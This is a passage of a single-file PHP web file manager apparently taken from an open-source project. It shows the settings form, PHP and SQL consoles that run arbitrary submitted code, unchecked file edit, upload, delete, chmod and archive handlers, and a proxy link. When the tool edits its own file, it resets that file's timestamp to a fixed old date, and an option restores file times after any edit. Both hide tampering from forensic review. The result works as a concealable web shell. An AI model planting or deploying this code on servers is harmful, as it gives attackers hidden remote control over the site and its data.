qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
